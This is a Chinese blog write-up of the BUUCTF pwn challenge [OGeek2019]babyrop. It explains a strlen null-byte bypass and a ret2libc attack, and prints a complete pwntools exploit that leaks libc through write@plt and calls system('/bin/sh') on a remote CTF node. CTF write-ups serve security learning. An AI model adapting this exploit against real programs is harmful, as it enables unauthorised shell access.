首页 > 其他分享 >buuctf-pwn-[OGeek2019]babyrop

buuctf-pwn-[OGeek2019]babyrop

时间:2024-05-08 21:44:06浏览次数:24  
标签:babyrop libc system write p32 offset pwn OGeek2019 buf

查看一下保护情况

丢进ida里分析



主函数调用了一个含有alarm的函数,这个函数会设置一个定时器,到时间自动退出程序
为了方便调试,我们直接patch掉这个函数

接着分析,主函数读入了一个随机数,并将其传入sub_804871F函数
sub_804871F函数读取输入,并检查输入的是否和随机数相同,不相同会直接退出程序
之后会返回buf[7],为了构造栈溢出,我们要使这个buf[7]最大化

当buf与s数组完全相同时,strncmp结果会为0,但是s为系统生成的随机数,而buf是我们输入的数据,很难使两者相等。
另一种办法就是使v1等于0,这样strncmp的结果仍为0,而v1是strlen函数读取buf的长度大小,使他为0就很简单了,标准的长度检测绕过,让buf数组的第一位为‘\x00’即可。

所以buf=b'\x00'+b'A'6+b'\xFF'+b'B'10
将buf[7]最大化,方便后续的栈溢出

这里使用write进行泄露地址,write有三个参数
第一个是文件句柄,0为标准输入,1为标准输出,2为标准错误
第二个是要写的内容
第三个是要写的字节数

后面就是正常的ret2libc了

exp
from pwn import *

#context.log_level = 'debug'

p = remote("node5.buuoj.cn",29568)
#p = process("./pwn")
elf = ELF("./pwn")
libc = ELF("./libc-2.23.so")

write_plt = elf.plt['write']
write_got = elf.got['write']
main = 0x08048825

write_offset = libc.sym["write"]
system_offset = libc.sym["system"]
binsh_offset = libc.search(b"/bin/sh").__next__()

payload1 = b'\x00'+b'A'*6+b'\xFF'+b'B'*10
p.sendline(payload1)

p.recvuntil(b'Correct\n')
payload2 = b'A'*235 + p32(write_plt) + p32(main) + p32(1) + p32(write_got) + p32(8)
p.sendline(payload2)

write_addr = u32(p.recv(4))

#info(hex(write_addr))

libc_base = write_addr - write_offset
system_addr = libc_base + system_offset
binsh = libc_base + binsh_offset 

p.sendline(payload1)
p.recvuntil(b'Correct\n')

payload = b'A'*235+p32(system_addr)+p32(main)+p32(binsh)
p.sendline(payload)

p.interactive()

标签:babyrop,libc,system,write,p32,offset,pwn,OGeek2019,buf
From: https://www.cnblogs.com/zzkkk1h/p/18180956

相关文章

  • buuctf-pwn-ciscn_2019_c_1-ret2libc
    检查一下保护情况ida里选项2,3都没有什么重要的信息,直接看选项1发现栈溢出漏洞,不过程序对输入的字符串有一个异或加密,这里可以构造异或后的payload,利用程序来解密,或者可以直接在payload第一位加上'\x00',直接截断payload后面的异或操作用cyclic测一下溢出点,得到88找一下system......
  • buuctf-pwn-[第五空间2019 决赛]PWN5-格式化字符串漏洞
    题目地址:https://buuoj.cn/challenges#[第五空间2019决赛]PWN5先检查一下保护情况再拖进ida里分析找到一个格式化字符串漏洞,那么我们可以利用这个漏洞去获取或者改写dword_804C044的值从而进入if语句中,拿到shell什么是格式化字符串漏洞所谓格式化字符串漏洞,就是我们能控......
  • 14、pWnOS_v2.0(VulnHub)
    pWnOS_v2.0一、nmap靶机ip找不见的自行上网查找解决办法。二、web渗透目录爆破/blog/whatweb/search.php/register.phpqwe123qwe点击给定的链接兔子洞,无法登入?一直卡在这个界面wfuzz貌似没什么用nmap->目录SimplePHPBlog0.4.0perl1191.pl......
  • XYCTF pwn部分题解 (部分题目详解)
    hello_world(签到)思路:✅这道题就是利用printf函数泄露libc的基地址,然后再次进行栈溢出通过system,/bin/sh来获取shellwp:invisible_flag思路:✅题目提示orw,那我们先看看是否开了沙盒那么是开了沙盒的,试试orw读取flag虽然保护全开但是程序会执行我们写的shellcdoe那么就可......
  • ctfshow-pwn15
    该题目是很简单,总结一些需要的知识点:使用as手动编译asm文件使用ld手动链接可执行文件文件下载后是一个名为flag.asm的文件首先使用nasm命令编译为flag.o文件nasm-felf32flag.asm-oflag.o-f:指定编译文件类型-o:指定编译后导出的文件名编译后会生成一个flag.o......
  • DozerCTF-PWN题解
    这次比赛一共放了4道pwn题,3道栈上的,比较菜,只会做栈1.pwn_fclosefrompwnimport*context(os='linux',arch='amd64',log_level='debug')io=remote('139.196.237.232',32985)#io=process("./pwn")libc=ELF("./libc.so.6&q......
  • [pwn]XYCTF 2024 个人WriteUp
    目录XYCTF2024WriteUp>pwn1.hello_world(签到)2.invisible_flag3.static_link由于本人菜鸡和时间问题,只打了前两周,打出了pwn的三道简单题目,记录自己的做题过程,如何后续复现可能也会更新。XYCTF2024WriteUp>pwn1.hello_world(签到)常规checksecIDA反编译进入主函数发......
  • pwn第二课
    静态链接静态连接是将多个文件链接在一起并生成可执行文件的过程示例代码:a.cexternintshared;externvoidswap(int*a,int*b);intmain(){ inta=10; swap(&a,&shared); }b.cintshared=1;intswap(int*a,int*b){ *a^=*b^=*a^=*b;}将这a.c和b.c......
  • pwn知识——劫持tcache_perthread_struct(Ubuntu22.04之前)
    前言(可忽略)堆不愧是堆...知识点真的要多用动调查看堆的状态才好理解tcache_perthread_struct的结构源码#defineTCACHE_MAX_BINS64/*Weoverlaythisstructureontheuser-dataportionofachunkwhenthechunkisstoredintheper-threadcache.*/typedefst......
  • pwn第一课
    硬件基础计算机低速I/O部件由南桥芯片收集信号连接北桥,北桥通过总线和CPU通信操作系统负责提供抽象接口和管理硬件资源操作系统通过多任务系统对CPU进行管理操作系统使用分页模式对内存进行管理操作系统读写I/O端口来实现对磁盘进行管理CPU通过MMU(memorymanagementun......